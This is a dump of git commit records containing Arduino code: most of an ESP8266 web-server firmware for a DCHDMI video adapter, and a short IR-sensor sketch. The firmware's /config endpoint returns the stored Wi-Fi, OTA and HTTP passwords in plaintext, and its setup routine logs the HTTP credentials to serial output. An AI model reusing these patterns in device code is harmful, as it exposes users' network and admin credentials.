*request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n request->send(200);\n }, [](AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) {\n handleUpload(request, ESP_INDEX_STAGING_FILE, index, data, len, final);\n });\n\n server.on(\"\/debug\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n char msg[64];\n _readFile(\"\/debug\", msg, 64, \"---\");\n request->send(200, \"text\/plain\", msg);\n });\n\n server.on(\"\/list-files\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n\n AsyncJsonResponse * response = new AsyncJsonResponse();\n response->addHeader(\"Server\",\"DCHDMI\");\n JsonObject& root = response->getRoot();\n FSInfo fs_info;\n SPIFFS.info(fs_info);\n\n root[\"totalBytes\"] = fs_info.totalBytes;\n root[\"usedBytes\"] = fs_info.usedBytes;\n \/\/ root[\"blockSize\"] = fs_info.blockSize;\n \/\/ root[\"pageSize\"] = fs_info.pageSize;\n \/\/ root[\"maxOpenFiles\"] = fs_info.maxOpenFiles;\n \/\/ root[\"maxPathLength\"] = fs_info.maxPathLength;\n \/\/ root[\"freeSketchSpace\"] = ESP.getFreeSketchSpace();\n \/\/ root[\"maxSketchSpace\"] = (ESP.getFreeSketchSpace() - 0x1000) & 0xFFFFF000;\n \/\/ root[\"flashChipSize\"] = ESP.getFlashChipSize();\n \/\/ root[\"freeHeapSize\"] = ESP.getFreeHeap();\n\n JsonArray &datas = root.createNestedArray(\"files\");\n\n Dir dir = SPIFFS.openDir(\"\/\");\n while (dir.next()) {\n JsonObject &data = datas.createNestedObject();\n data[\"name\"] = dir.fileName();\n data[\"size\"] = dir.fileSize();\n }\n\n response->setLength();\n request->send(response);\n });\n\n server.on(\"\/download\/fpga\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleFPGADownload(request);\n });\n\n server.on(\"\/download\/esp\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleESPDownload(request);\n });\n\n server.on(\"\/download\/index\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleESPIndexDownload(request);\n });\n\n server.on(\"\/flash\/fpga\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleFlash(request, FIRMWARE_FILE);\n });\n\n server.on(\"\/flash\/esp\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleESPFlash(request, ESP_FIRMWARE_FILE);\n });\n\n server.on(\"\/flash\/index\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n handleESPIndexFlash(request);\n });\n\n server.on(\"\/cleanupindex\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n SPIFFS.remove(ESP_INDEX_FILE);\n SPIFFS.remove(String(ESP_INDEX_FILE) + \".md5\");\n request->send(200);\n });\n\n server.on(\"\/cleanup\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n SPIFFS.remove(FIRMWARE_FILE);\n SPIFFS.remove(ESP_FIRMWARE_FILE);\n SPIFFS.remove(ESP_INDEX_STAGING_FILE);\n SPIFFS.remove(String(FIRMWARE_FILE) + \".md5\");\n SPIFFS.remove(String(ESP_FIRMWARE_FILE) + \".md5\");\n SPIFFS.remove(String(ESP_INDEX_STAGING_FILE) + \".md5\");\n\n SPIFFS.remove(LOCAL_FPGA_MD5);\n SPIFFS.remove(LOCAL_ESP_MD5);\n SPIFFS.remove(LOCAL_ESP_INDEX_MD5);\n\n SPIFFS.remove(SERVER_FPGA_MD5);\n SPIFFS.remove(SERVER_ESP_MD5);\n SPIFFS.remove(SERVER_ESP_INDEX_MD5);\n\n \/\/ remove legacy config data\n SPIFFS.remove(\"\/etc\/firmware_fpga\");\n SPIFFS.remove(\"\/etc\/firmware_format\");\n SPIFFS.remove(\"\/etc\/force_vga\");\n SPIFFS.remove(\"\/etc\/resolution\");\n request->send(200);\n });\n\n server.on(\"\/resetconfig\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n SPIFFS.remove(\"\/etc\/ssid\");\n SPIFFS.remove(\"\/etc\/password\");\n SPIFFS.remove(\"\/etc\/ota_pass\");\n SPIFFS.remove(\"\/etc\/http_auth_user\");\n SPIFFS.remove(\"\/etc\/http_auth_pass\");\n SPIFFS.remove(\"\/etc\/conf_ip_addr\");\n SPIFFS.remove(\"\/etc\/conf_ip_gateway\");\n SPIFFS.remove(\"\/etc\/conf_ip_mask\");\n SPIFFS.remove(\"\/etc\/conf_ip_dns\");\n SPIFFS.remove(\"\/etc\/hostname\");\n SPIFFS.remove(\"\/etc\/keyblayout\");\n\n ssid[0] = '\\0';\n password[0] = '\\0';\n otaPassword[0] = '\\0';\n keyboardLayout[0] = '\\0';\n \/\/ keep passwords alive until power off\n \/\/httpAuthUser[0] = '\\0';\n \/\/httpAuthPass[0] = '\\0';\n confIPAddr[0] = '\\0';\n confIPGateway[0] = '\\0';\n confIPMask[0] = '\\0';\n confIPDNS[0] = '\\0';\n host[0] = '\\0';\n\n request->send(200);\n });\n\n server.on(\"\/factoryresetall\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n SPIFFS.format();\n request->send(200);\n });\n\n server.on(\"\/flash\/secure\/fpga\", HTTP_GET, [](AsyncWebServerRequest *request){\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n disableFPGA();\n handleFlash(request, FIRMWARE_FILE);\n });\n\n server.on(\"\/progress\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n DEBUG(\"progress requested...\\n\");\n char msg[64];\n if (last_error) {\n sprintf(msg, \"ERROR %i\\n\", last_error);\n request->send(200, \"text\/plain\", msg);\n DEBUG(\"...delivered: %s (%i).\\n\", msg, last_error);\n \/\/ clear last_error\n last_error = NO_ERROR;\n } else {\n int progress = totalLength <= 0 ? 0 : (int)(readLength * 100 \/ totalLength);\n if (progress == 100 && !currentJobDone) {\n progress = 99;\n }\n sprintf(msg, \"%i\\n\", progress);\n request->send(200, \"text\/plain\", msg);\n DEBUG2(\"...delivered: %s.\\n\", msg);\n }\n });\n\n server.on(\"\/flash_size\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n char msg[64];\n sprintf(msg, \"%lu\\n\", (long unsigned int) ESP.getFlashChipSize());\n request->send(200, \"text\/plain\", msg);\n });\n\n server.on(\"\/reset\/fpga\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n DEBUG(\"FPGA reset requested...\\n\");\n fpgaTask.DoResetFPGA();\n request->send(200, \"text\/plain\", \"OK\\n\");\n DEBUG(\"...delivered.\\n\");\n });\n\n server.on(\"\/reset\/dc\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n DEBUG(\"DC reset requested...\\n\");\n fpgaTask.Write(I2C_DC_RESET, 0, NULL);\n request->send(200, \"text\/plain\", \"OK\\n\");\n DEBUG(\"...delivered.\\n\");\n });\n\n server.on(\"\/reset\/all\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n resetall();\n });\n\n server.on(\"\/reset\/pll\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_PLL_RESET, 0, NULL);\n request->send(200, \"text\/plain\", \"OK\\n\");\n });\n\n server.on(\"\/issetupmode\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n request->send(200, \"text\/plain\", inInitialSetupMode ? \"true\\n\" : \"false\\n\");\n });\n\n server.on(\"\/ping\", HTTP_GET, [](AsyncWebServerRequest *request) {\n request->send(200);\n });\n\n server.on(\"\/setup\", HTTP_POST, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n writeSetupParameter(request, \"ssid\", ssid, 64, DEFAULT_SSID);\n writeSetupParameter(request, \"password\", password, 64, DEFAULT_PASSWORD);\n writeSetupParameter(request, \"ota_pass\", otaPassword, 64, DEFAULT_OTA_PASSWORD);\n writeSetupParameter(request, \"firmware_server\", firmwareServer, 256, DEFAULT_FW_SERVER);\n writeSetupParameter(request, \"firmware_server_path\", firmwareServerPath, 256, DEFAULT_FW_SERVER_PATH);\n writeSetupParameter(request, \"firmware_version\", firmwareVersion, 64, DEFAULT_FW_VERSION);\n writeSetupParameter(request, \"http_auth_user\", httpAuthUser, 64, DEFAULT_HTTP_USER, true);\n writeSetupParameter(request, \"http_auth_pass\", httpAuthPass, 64, DEFAULT_HTTP_PASS, true);\n writeSetupParameter(request, \"conf_ip_addr\", confIPAddr, 24, DEFAULT_CONF_IP_ADDR);\n writeSetupParameter(request, \"conf_ip_gateway\", confIPGateway, 24, DEFAULT_CONF_IP_GATEWAY);\n writeSetupParameter(request, \"conf_ip_mask\", confIPMask, 24, DEFAULT_CONF_IP_MASK);\n writeSetupParameter(request, \"conf_ip_dns\", confIPDNS, 24, DEFAULT_CONF_IP_DNS);\n writeSetupParameter(request, \"hostname\", host, 64, DEFAULT_HOST);\n writeSetupParameter(request, \"video_resolution\", configuredResolution, \"\/etc\/video\/resolution\", 16, DEFAULT_VIDEO_RESOLUTION);\n writeSetupParameter(request, \"video_mode\", videoMode, \"\/etc\/video\/mode\", 16, DEFAULT_VIDEO_MODE);\n writeSetupParameter(request, \"reset_mode\", resetMode, \"\/etc\/reset\/mode\", 16, DEFAULT_RESET_MODE);\n writeSetupParameter(request, \"deinterlace_mode\", deinterlaceMode480i, \"\/etc\/deinterlace\/mode\/480i\", 16, DEFAULT_DEINTERLACE_MODE);\n writeSetupParameter(request, \"deinterlace_mode\", deinterlaceMode576i, \"\/etc\/deinterlace\/mode\/576i\", 16, DEFAULT_DEINTERLACE_MODE);\n writeSetupParameter(request, \"protected_mode\", protectedMode, \"\/etc\/protected\/mode\", 8, DEFAULT_PROTECTED_MODE);\n writeSetupParameter(request, \"keyboard_layout\", keyboardLayout, \"\/etc\/keyblayout\", 8, DEFAULT_KEYBOARD_LAYOUT);\n readCurrentProtectedMode(true);\n\n request->send(200, \"text\/plain\", \"OK\\n\");\n });\n \n server.on(\"\/config\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n \n AsyncJsonResponse * response = new AsyncJsonResponse();\n JsonObject& root = response->getRoot();\n\n root[\"ssid\"] = ssid;\n root[\"password\"] = password;\n root[\"ota_pass\"] = otaPassword;\n root[\"firmware_server\"] = firmwareServer;\n root[\"firmware_server_path\"] = firmwareServerPath;\n root[\"firmware_version\"] = firmwareVersion;\n root[\"http_auth_user\"] = httpAuthUser;\n root[\"http_auth_pass\"] = httpAuthPass;\n root[\"flash_chip_size\"] = ESP.getFlashChipSize();\n root[\"conf_ip_addr\"] = confIPAddr;\n root[\"conf_ip_gateway\"] = confIPGateway;\n root[\"conf_ip_mask\"] = confIPMask;\n root[\"conf_ip_dns\"] = confIPDNS;\n root[\"hostname\"] = host;\n root[\"fw_version\"] = isRelaxedFirmware ? FW_VERSION \"-rlx\" : FW_VERSION \"-std\";\n root[\"video_resolution\"] = configuredResolution;\n root[\"video_mode\"] = videoMode;\n root[\"reset_mode\"] = resetMode;\n root[\"deinterlace_mode\"] = deinterlaceMode480i;\n root[\"protected_mode\"] = protectedMode;\n root[\"keyboard_layout\"] = keyboardLayout;\n\n response->setLength();\n request->send(response);\n });\n\n server.on(\"\/reset\/esp\", HTTP_ANY, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n \/\/ESP.eraseConfig();\n ESP.restart();\n });\n\n server.on(\"\/test\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n });\n\n server.on(\"\/osdwrite\", HTTP_POST, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n\n AsyncWebParameter *column = request->getParam(\"column\", true);\n AsyncWebParameter *row = request->getParam(\"row\", true);\n AsyncWebParameter *text = request->getParam(\"text\", true);\n\n fpgaTask.DoWriteToOSD(atoi(column->value().c_str()), atoi(row->value().c_str()), (uint8_t*) text->value().c_str());\n request->send(200);\n });\n\n server.on(\"\/240p_offset\", HTTP_POST, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n\n AsyncWebParameter *offset = request->getParam(\"offset\", true);\n fpgaTask.Write(I2C_240P_OFFSET, atoi(offset->value().c_str()), NULL);\n request->send(200);\n });\n\n server.on(\"\/scanlines\", HTTP_POST, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n\n AsyncWebParameter *s_intensity = request->getParam(\"intensity\", true);\n AsyncWebParameter *s_thickness = request->getParam(\"thickness\", true);\n AsyncWebParameter *s_oddeven = request->getParam(\"oddeven\", true);\n AsyncWebParameter *s_active = request->getParam(\"active\", true);\n\n scanlinesIntensity = atoi(s_intensity->value().c_str());\n scanlinesThickness = atoi(s_thickness->value().c_str());\n scanlinesOddeven = atoi(s_oddeven->value().c_str());\n scanlinesActive = atoi(s_active->value().c_str());\n\n uint8_t upper = getScanlinesUpperPart();\n uint8_t lower = getScanlinesLowerPart();\n\n setScanlines(upper, lower, NULL);\n request->send(200);\n });\n\n server.on(\"\/osd\/on\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n openOSD();\n request->send(200);\n });\n\n server.on(\"\/osd\/off\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n closeOSD();\n request->send(200);\n });\n\n server.on(\"\/hq2x\/on\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_UPSCALING_MODE, 0x01, NULL);\n request->send(200);\n });\n\n server.on(\"\/hq2x\/off\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_UPSCALING_MODE, 0x00, NULL);\n request->send(200);\n });\n\n server.on(\"\/res\/VGA\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n switchResolution(RESOLUTION_VGA);\n request->send(200);\n });\n\n server.on(\"\/res\/480p\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n switchResolution(RESOLUTION_480p);\n request->send(200);\n });\n\n server.on(\"\/res\/960p\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n switchResolution(RESOLUTION_960p);\n request->send(200);\n });\n\n server.on(\"\/res\/1080p\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n switchResolution(RESOLUTION_1080p);\n request->send(200);\n });\n\n server.on(\"\/deinterlace\/bob\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n CurrentDeinterlaceMode480i = DEINTERLACE_MODE_BOB;\n CurrentDeinterlaceMode576i = DEINTERLACE_MODE_BOB;\n switchResolution(CurrentResolution);\n request->send(200);\n });\n\n server.on(\"\/deinterlace\/passthru\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n CurrentDeinterlaceMode480i = DEINTERLACE_MODE_PASSTHRU;\n CurrentDeinterlaceMode576i = DEINTERLACE_MODE_PASSTHRU;\n switchResolution(CurrentResolution);\n request->send(200);\n });\n\n server.on(\"\/generate\/on\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_VIDEO_GEN, GENERATE_TIMING_AND_VIDEO, NULL);\n request->send(200);\n });\n\n server.on(\"\/generate\/off\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_VIDEO_GEN, 0, NULL);\n request->send(200);\n });\n\n server.on(\"\/spi\/flash\/erase\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n taskManager.StartTask(&flashEraseTask);\n request->send(200);\n });\n\n server.on(\"\/clock\/config\/get\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Read(0xD0, 1, [&](uint8_t address, uint8_t* buffer, uint8_t len) {\n char msg[16];\n sprintf(msg, \"%u\\n\", buffer[0]);\n request->send(200, \"text\/plain\", msg);\n });\n });\n\n server.on(\"\/clock\/config\/set\", HTTP_POST, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n\n AsyncWebParameter *s_value = request->getParam(\"value\", true);\n fpgaTask.Write(0xD0, atoi(s_value->value().c_str()), NULL);\n request->send(200);\n });\n\n server.on(\"\/mac\/get\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n char msg[32];\n sprintf(msg, \"%s\\n\", WiFi.macAddress().c_str());\n request->send(200, \"text\/plain\", msg);\n });\n\n server.on(\"\/nbp\/reset\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Write(I2C_NBP_RESET, 0x01, [](uint8_t Address, uint8_t Value) {\n DEBUG2(\"nbp reset.\\n\");\n });\n request->send(200, \"text\/plain\", \"OK\\n\");\n });\n\n server.on(\"\/testdata2\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n char msg[16];\n sprintf(\n msg, \n \"%02x %02x %02x %02x %02x\\n\",\n remapResolution(CurrentResolution),\n mapResolution(CurrentResolution, true),\n CurrentResolutionData,\n CurrentDeinterlaceMode480i,\n CurrentDeinterlaceMode576i\n );\n request->send(200, \"text\/plain\", msg);\n });\n\n server.on(\"\/testdata\", HTTP_GET, [](AsyncWebServerRequest *request) {\n if(!_isAuthenticated(request)) {\n return request->requestAuthentication();\n }\n fpgaTask.Read(I2C_TESTDATA_BASE, I2C_TESTDATA_LENGTH, [&](uint8_t address, uint8_t* buffer, uint8_t len) {\n if (len == I2C_TESTDATA_LENGTH) {\n char msg[I2C_TESTDATA_LENGTH * 3 + 1] = \"\";\n int p = 0;\n for (int i = 0 ; i < I2C_TESTDATA_LENGTH ; i++) {\n sprintf((char*) &msg[p], \"%02x \", buffer[i]);\n p = p + 3;\n }\n sprintf((char*) &msg[p], \"\\n\");\n request->send(200, \"text\/plain\", msg);\n\n \/\/ request->send(\"text\/plain\", I2C_TESTDATA_LENGTH * 3 + 1, [ buffer ](uint8_t *buffer_out, size_t maxLen, size_t index) -> size_t {\n \/\/ return I2C_TESTDATA_LENGTH * 3 + 1;\n \/\/ });\n } else {\n request->send(200, \"text\/plain\", \"SOMETHING_IS_WRONG\\n\");\n }\n }); \n fpgaTask.ForceLoop();\n });\n\n AsyncStaticWebHandler* handler = &server\n .serveStatic(\"\/\", SPIFFS, \"\/\")\n .setDefaultFile(\"index.html\");\n \/\/ set authentication by configured user\/pass later\n handler->setAuthentication(httpAuthUser, httpAuthPass);\n\n server.onNotFound([](AsyncWebServerRequest *request){\n if (request->url().endsWith(\"md5\")) {\n request->send(200, \"text\/plain\", DEFAULT_MD5_SUM\"\\n\");\n return;\n }\n request->send(404);\n });\n\n server.begin();\n}\n\nvoid setupArduinoOTA() {\n DEBUG2(\">> Setting up ArduinoOTA...\\n\");\n \n ArduinoOTA.setPort(8266);\n ArduinoOTA.setHostname(host);\n ArduinoOTA.setPassword(otaPassword);\n \n ArduinoOTA.onStart([]() {\n DEBUG(\"ArduinoOTA >> Start\\n\");\n });\n ArduinoOTA.onEnd([]() {\n DEBUG(\"\\nArduinoOTA >> End\\n\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n DEBUG(\"ArduinoOTA >> Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n DEBUG(\"ArduinoOTA >> Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) {\n DEBUG(\"ArduinoOTA >> Auth Failed\\n\");\n } else if (error == OTA_BEGIN_ERROR) {\n DEBUG(\"ArduinoOTA >> Begin Failed\\n\");\n } else if (error == OTA_CONNECT_ERROR) {\n DEBUG(\"ArduinoOTA >> Connect Failed\\n\");\n } else if (error == OTA_RECEIVE_ERROR) {\n DEBUG(\"ArduinoOTA >> Receive Failed\\n\");\n } else if (error == OTA_END_ERROR) {\n DEBUG(\"ArduinoOTA >> End Failed\\n\");\n }\n });\n ArduinoOTA.begin(true);\n DEBUG2(\">> ArduinoOTA started.\\n\");\n}\n\nvoid waitForController() {\n bool gotValidPacket = false;\n uint8_t _ForceVGA = ForceVGA;\n DEBUG2(\">> Checking video mode controller override...\\n\");\n\n for (int i = 0 ; i < 3333 ; i++) {\n \/\/ stop, if we got a valid packet\n if (gotValidPacket) {\n DEBUG2(\" found valid controller packet at %i\\n\", i);\n if (_ForceVGA != ForceVGA) {\n ForceVGA = _ForceVGA;\n writeVideoMode();\n DEBUG2(\" performing a resetall\\n\");\n resetall();\n } else {\n switchResolution();\n fpgaTask.ForceLoop();\n DEBUG2(\" video mode NOT changed: %u\\n\", ForceVGA);\n }\n return;\n }\n fpgaTask.Read(I2C_CONTROLLER_AND_DATA_BASE, I2C_CONTROLLER_AND_DATA_BASE_LENGTH, [&](uint8_t address, uint8_t* buffer, uint8_t len) {\n if (len == I2C_CONTROLLER_AND_DATA_BASE_LENGTH) {\n uint16_t cdata = (buffer[0] << 8 | buffer[1]);\n uint8_t metadata = buffer[2];\n if (CHECK_BIT(cdata, CTRLR_DATA_VALID)) {\n isRelaxedFirmware = metadata & HQ2X_MODE_FLAG;\n storeResolutionData(metadata);\n DEBUG2(\" %i: %04x %02x\\n\", i, cdata, metadata);\n if (CHECK_BIT(cdata, CTRLR_PAD_UP)) {\n _ForceVGA = VGA_ON;\n } else if (CHECK_BIT(cdata, CTRLR_PAD_DOWN)) {\n _ForceVGA = VGA_OFF;\n }\n gotValidPacket = true;\n }\n }\n });\n fpgaTask.ForceLoop();\n delay(1);\n }\n DEBUG2(\"no valid controller packet found within timeout\\n\");\n}\n\nvoid doReflash() {\n disableFPGA();\n if (flashTask.doStart()) {\n \/\/ [](int read, int total, bool done, int error) {\n \/\/ }\n DEBUG2(\" firmware flashing started.\\n\");\n while (!flashTask.doUpdate()) {\n yield();\n }\n flashTask.doStop();\n DEBUG2(\" firmware flashing done.\\n\");\n resetall();\n }\n}\n\nvoid printSerialMenu() {\n DEBUG2(\"- Menu -----------------------\\n\");\n DEBUG2(\"f: re-flash fpga firmware\\n\");\n DEBUG2(\"i: show info\\n\");\n DEBUG2(\"r: reset visible area counters\\n\");\n DEBUG2(\"p: reset PLL\\n\");\n DEBUG2(\"t: show visible area counters\\n\");\n DEBUG2(\"o: activate OTA update\\n\");\n DEBUG2(\"w: print wifi rssi information\\n\");\n DEBUG2(\"h: print this menu\\n\");\n DEBUG2(\"------------------------------\\n\");\n}\n\nvoid setup(void) {\n DBG_OUTPUT_PORT.begin(115200);\n if (SPIFFS.exists(\"\/tmp\/checkpoint\")) {\n ESP.eraseConfig();\n SPIFFS.remove(\"\/tmp\/checkpoint\");\n DEBUG2(\"erased persistent config.\\n\");\n resetall();\n }\n DEBUG2(\"\\n>> ESP starting... \" DCHDMI_VERSION \"\\n\");\n DEBUG2(\">> %s\\n\", ESP.getFullVersion().c_str());\n DBG_OUTPUT_PORT.setDebugOutput(false);\n\n pinMode(NCE, INPUT);\n pinMode(NCONFIG, INPUT);\n\n setupI2C();\n setupSPIFFS();\n setupResetMode();\n setupOutputResolution();\n setupScanlines();\n setupOffsets();\n setupUpscalingMode();\n setupColorSpace();\n setupTaskManager();\n setupCredentials();\n waitForController();\n fpgaTask.Write(I2C_ACTIVATE_HDMI, 1, NULL); fpgaTask.ForceLoop();\n setupWiFi();\n\n setOSD(false, NULL); fpgaTask.ForceLoop();\n char buff[MENU_WIDTH+1]; osd_get_resolution(buff);\n fpgaTask.DoWriteToOSD(0, MENU_WIDTH, (uint8_t*) buff); fpgaTask.ForceLoop();\n\n if (!inInitialSetupMode) {\n setupMDNS();\n }\n\n if (reflashNeccessary && reflashNeccessary2 && reflashNeccessary3) {\n DEBUG2(\"FPGA firmware missing or broken, reflash needed.\\n\");\n doReflash();\n }\n setupHTTPServer();\n DEBUG2(\">> httpAuthUser: %s\\n\", httpAuthUser);\n DEBUG2(\">> httpAuthPass: %s\\n\", httpAuthPass);\n DEBUG2(\">> Ready.\\n\");\n printSerialMenu();\n}\n\nvoid showInfo() {\n DEBUG2(\"ESP: \" DCHDMI_VERSION \"\\n\");\n DEBUG2(\"Arduino ESP version: %s\\n\", ESP.getFullVersion().c_str());\n DEBUG2(\"Free sketch space: %u\\n\", ESP.getFreeSketchSpace());\n DEBUG2(\"Max sketch space: %u\\n\", (ESP.getFreeSketchSpace() - 0x1000) & 0xFFFFF000);\n DEBUG2(\"Flash chip size: %u\\n\", ESP.getFlashChipSize());\n DEBUG2(\"Free heap size: %u\\n\\n\", ESP.getFreeHeap());\n}\n\nint getWiFiQuality(int dBm) {\n if (WiFi.status() != WL_CONNECTED)\n return -1;\n if (dBm <= -100)\n return 0;\n if (dBm >= -50)\n return 100;\n return 2 * (dBm + 100);\n}\n\nvoid loop(void){\n ArduinoOTA.handle();\n taskManager.Loop();\n if (Serial.available() > 0) {\n int incomingByte = Serial.read();\n if (incomingByte == 'f') {\n doReflash();\n } else if (incomingByte == 'i') {\n showInfo();\n } else if (incomingByte == 'h') {\n printSerialMenu();\n } else if (incomingByte == 'p') {\n fpgaTask.Write(I2C_PLL_RESET, 0, [](uint8_t Address, uint8_t Value) {\n DEBUG2(\"pll reset.\\n\");\n });\n } else if (incomingByte == 'r') {\n fpgaTask.Write(I2C_NBP_RESET, 0, [](uint8_t Address, uint8_t Value) {\n DEBUG2(\"nbp reset.\\n\");\n });\n } else if (incomingByte == 't') {\n fpgaTask.Read(I2C_TESTDATA_BASE, I2C_TESTDATA_LENGTH, [&](uint8_t address, uint8_t* buffer, uint8_t len) {\n int nbp1 = (buffer[35] << 4) | (buffer[36] >> 4);\n int nbp2 = ((buffer[36] & 0xF) << 8) | buffer[37];\n DEBUG2(\"nbp: %02x %02x %02x %dx%d\\n\", buffer[35], buffer[36], buffer[37], nbp1, nbp2);\n });\n } else if (incomingByte == 'o') {\n if (strlen(otaPassword)) {\n setupArduinoOTA();\n } else {\n DEBUG2(\"Please set an OTA password via web interface first!\\n\");\n }\n } else if (incomingByte == 'w') {\n int dBm = WiFi.RSSI();\n DEBUG2(\"RSSI: %d dBm, quality: %d%%, channel: %d\\n\", dBm, getWiFiQuality(dBm), WiFi.channel());\n }\n }\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"834c7e6d707630c856127152efca4c8a74798505","subject":"added IR sensor","message":"added IR sensor\n","repos":"vinodsr\/homemade-iot-examples,vinodsr\/homemade-iot-examples,vinodsr\/homemade-iot-examples,vinodsr\/homemade-iot-examples,vinodsr\/homemade-iot-examples","old_file":"Hello_IR_Sensor\/Hello_IR_Sensor.ino","new_file":"Hello_IR_Sensor\/Hello_IR_Sensor.ino","new_contents":"\n\nint LED = 13; \/\/ Use the onboard Uno LED\nint isObstaclePin = A0; \/\/ This is our input pin\nint isObstacle = HIGH; \/\/ HIGH MEANS NO OBSTACLE\n\nvoid setup() {\n pinMode(LED, OUTPUT);\n pinMode(isObstaclePin, INPUT);\n Serial.begin(9600);\n \n}\n\nvoid loop() {\n isObstacle = analogRead(isObstaclePin);\n Serial.println(isObstacle);\n if (isObstacle == LOW)\n {\n Serial.println(\"OBSTACLE!!, OBSTACLE!!\");\n digitalWrite(LED, HIGH);\n }\n else\n {\n Serial.println(\"clear\");\n digitalWrite(LED, LOW);\n }\n delay(200);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Hello_IR_Sensor\/Hello_IR_Sensor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4698c7668827fa36ea2104ffc8c7a3549972d605","subject":"Returned Keypad-MC17-4x4 to original","message":"Returned Keypad-MC17-4x4 to 